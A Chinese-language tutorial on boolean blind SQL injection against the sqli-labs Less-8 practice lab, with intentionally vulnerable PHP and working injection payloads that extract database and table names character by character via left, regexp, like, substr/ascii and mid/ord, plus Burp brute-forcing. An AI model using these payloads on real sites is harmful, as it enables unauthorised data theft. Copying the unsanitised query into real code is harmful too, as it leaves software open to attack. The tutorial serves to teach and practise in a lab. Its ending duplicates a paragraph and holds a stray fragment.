注入我们已经有了简单的概念,然而,就是在sql注入过程中,某些sql语句的执行结果被程序限制不回显到前端,这时候我们只能用一些别的方法进行判断或者尝试,这个判断或尝试过程就叫盲注。
什么是布尔盲注
布尔是判断真假,那么布尔盲注就是通过判断真假的方式来判断或尝试的注入攻击
<?php
error_reporting(E_ALL&~E_WARNING); //设置错误等级至WARNING不报错
include("../sql-connections/sql-connect.php"); //引入sqlilabs配置文件连接数据库
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "Right";
}
else{
echo "Wrong";
}
来看一个简单的例子,这代码简单来说就是如果执行成功打印Right,失败了打印Wrong。他不会再去打印过多的错误信息,这个时候我们就需要通过构造语句,来判断数据库信息的正确性,再通过页面返回的真假来识别我们判断的是否正确
布尔盲注的方法
构造逻辑判断语句,判断信息真假,取出所有的真值,实现SQL注入
判断注入点
首先判断注入点,盲注是没有直接的回显的,我们需要判断页面是否能够正常显示来确定注入点
http://127.0.0.1/Less-8/?id=1
页面正常显示
http://127.0.0.1/Less-8/?id=1'
http://127.0.0.1/Less-8/?id=1' and '1' ='2
页面不显示
http://127.0.0.1/Less-8/?id=1' and '1' ='1
页面再次正常显示
说明这里就是注入点
常用方法
left0函数
left(database(),1)>'s'
database()显示数据库名称,left(a,b)从左侧截取a的前b位
http://127.0.0.1/Less-8/?id=1' and left((select database()),1)='s'-- #
我们使用第八关来测试
当前库名字的第一位如果为s则显示,不是s则不返回
我们导入burp进行爆破测试,爆破点还是测试数据s
然后直接进行爆破,查看返回长度,发现数值为s的时候,与其他的不相符合,然后再次进行爆破
修改代码为
http://127.0.0.1/Less-8/?id=1' and left((select database()),2)='sa'-- #
将sa的a作为爆破点,直到爆出完整名称
regexp
select user() regexp '^r'
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
mysql正则表达式:https://www.runoob.com/mysql/mysql-regexp.html
^表示匹配输入字符串的开始位置,即从输入开始判断字符串
http://127.0.0.1/Less-8/?id=1' and (select database()) regexp '^se'-- #
意思是前两位是se开头(也可以s开头),如果是则返回You are in…,不是则不返回
在里面可直接增加字符
对数据表进行布尔盲注爆破
http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^se'-- #
like
select user() like 'ro%'
与regexp类似,使用like进行匹配
http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%'-- #
以e开头,如果是则返回You are in…,不是则不返回
subst()函数和ascii()函数
ascii(substr((select database()),1,1))=98
substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值,使用ascii值可以绕过一些不能使用单引号的场景
字符串截取后比较ascii
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))=115-- #
s的ascii码是115,所以这里能够正常返回
ord()函数和mid()函数
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符串转为ascii值,由于使用方式同subst()函数和ascii()函数,就不再演示了
1598410879419)]
ord()函数和mid()函数
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符串转为ascii值,由于使用方式同subst()函数和ascii()函数,就不再演示了